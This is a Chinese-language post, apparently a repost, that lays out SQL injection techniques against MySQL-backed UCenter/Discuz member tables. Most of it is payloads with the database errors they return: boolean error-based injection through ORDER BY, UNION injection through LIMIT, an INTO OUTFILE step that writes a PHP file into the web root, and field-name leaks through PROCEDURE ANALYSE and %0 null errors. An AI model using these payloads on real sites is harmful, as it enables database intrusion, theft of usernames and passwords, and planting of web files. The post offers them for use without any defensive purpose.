废话少说，直接上代码
一、order by 的参数注入技巧：
两种方法，思路都一样。
example. “select username,password from uc_members order by”.$_GET['oderby']
a.常见的利用方法：
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回错误：[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。
b.国外paper看到的方法：
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回错误：[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。
二、limit 的参数注入技巧：
a.order by之后的limit参数 的注入，因为正常的sql语句order by后无法接union，所以没有好办法，就一个鸡肋思路：into outfile '/www/root/xxx.php';
b.limit前无order by时的注入，那就方便多了，后面可以直接接union select ，随便怎么注都行了：
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
这里还有个技巧，使用procedure analyse可以获取字段名称：
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不过procedure analyse同样不能使用在order by之后：
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can't use ORDER clause with this procedure
三、无法猜测字段时的技巧：
在mysql5以下版本或者information_schema 无法访问的时候，无法猜到某个表的字段名，于是可以采用这个办法，在子查询中使用%0，报错获得列名。以ucenter的uc_members为例。
1.猜测列数：SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回错误：#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误：#1048 - Column 'uid' cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误：#1048 - Column 'username' cannot be null
5. ……
注：5.1以上版本不适用，字段必须为非空（not null）www.e800.com.cn
